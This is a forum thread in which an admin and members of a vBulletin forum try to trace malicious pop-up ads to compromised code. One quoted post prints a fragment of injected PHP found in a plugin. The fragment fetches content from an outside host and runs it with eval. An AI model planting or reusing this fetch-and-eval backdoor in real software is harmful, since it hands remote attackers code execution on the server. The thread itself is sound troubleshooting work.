Ironically, I just got a pop up, when I went to read the latest on this thread! :laugh:

Thanks for the input. We are still scanning the servers, digging deeper to see where the bugger code may be hiding.

I don't really need the site / links names anymore. We assume it's all coming from the same bad code. We just need to find it. The scans have been running for 2 days. :eek:

Once the scans are done I may need more feedback. Thanks!
 
Tom,

Still happening...the usual sites, as posted by others...started with me on Sunday...what "changed/updated" over the weekend ? Never had this issue before then...

So far, I've always been able to "work around" to do what I need to do on the site ; no attachments uploaded, pop-up blocker ON in Firefox, as it's always been, but still happening...and my MS Security Essentials deep scan shows nothing on my PC...

I know you're doing what you can, but this is getting really annoying... ! :eek:

Just sayin'....


Stoplight...


Hey!! I also checked the "exceptions" under Blocking and Content and maybe another, check them all I found 3 or 4 that I never excepted!!

One of the things I plan to do is uninstall an old modification program that we no longer use anyway, but has a reputation for having code that was vulnerable. I have avoided deleting it completely because of the possibility of it screwing up our URL / links. I'll just have to grin and bear it, but I'll probably wait until Friday to do it.
 
When trying to use search, the following message appears as a banner:

Warning: Declaration of vBForum_Item_SocialGroupMessage::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupmessage.php on line 261

Warning: Declaration of vBForum_Item_SocialGroupDiscussion::getLoadQuery() should be compatible with that of vB_Model::getLoadQuery() in..../packages/vbforum/item/socialgroupdiscussion.php on line 337

Yeah, not related to the pop ups but I can block those warnings. Thanks!

Tom, this is a very old bug and probably not related the ads. fyi

I am consistently getting a message from my ad blocker (malwarebytes) that that a malicious website (adnety.com) is trying to use pop-ups. I tried to upload a PNG screen capture of the message, but I am getting an error.
 
Tom,

Consider this from http://www.vbulletin.com/forum/foru...s-problems-and-troubleshooting/4355791-popads (down for maintenance at the time of this post, the below came from google cache, but may not be complete.):

popads

My forum just started getting pop up pages, apparently from popads.net. I've tried many things to get rid of this to no avail so far.

The most common occurrence comes when someone clicks inside the login forms. Also a click on a subforum.

Version 4.2.2 P6 being used and I uploaded the fresh new files, scanned the servers but found nothing. I also "Excluded" popads . net (don't go there) on the Google Analytics Filter page.

Any ideas?

Hi tempagain,

Had the same problem, found this **** in one of my plugins:

PHP Code:
$config_data = file_get_contents('http://geekube.com/wp-content/uploads/2013/xml.php?a=inner&host=' . $_SERVER['SERVER_NAME']);
if(
strlen($config_data) > 0){ eval($config_data




It was'nt me, it was the one armed man

OK, thanks. I think I have enough ammo for now. Once I make new changes I'll let you know and we'll test it again.

Also, do those that have this issue have pop up blockers set to on or off? I just turned mine on (was off).

How to turn on/off... https://www.techsupportall.com/block-pop-ups-chrome-firefox-internet-explorer-edge-browser/

Not that you need to turn it off as I am trying to fix this issue, but if the pop ups are bugging you in the interim...

Thanks for your help!
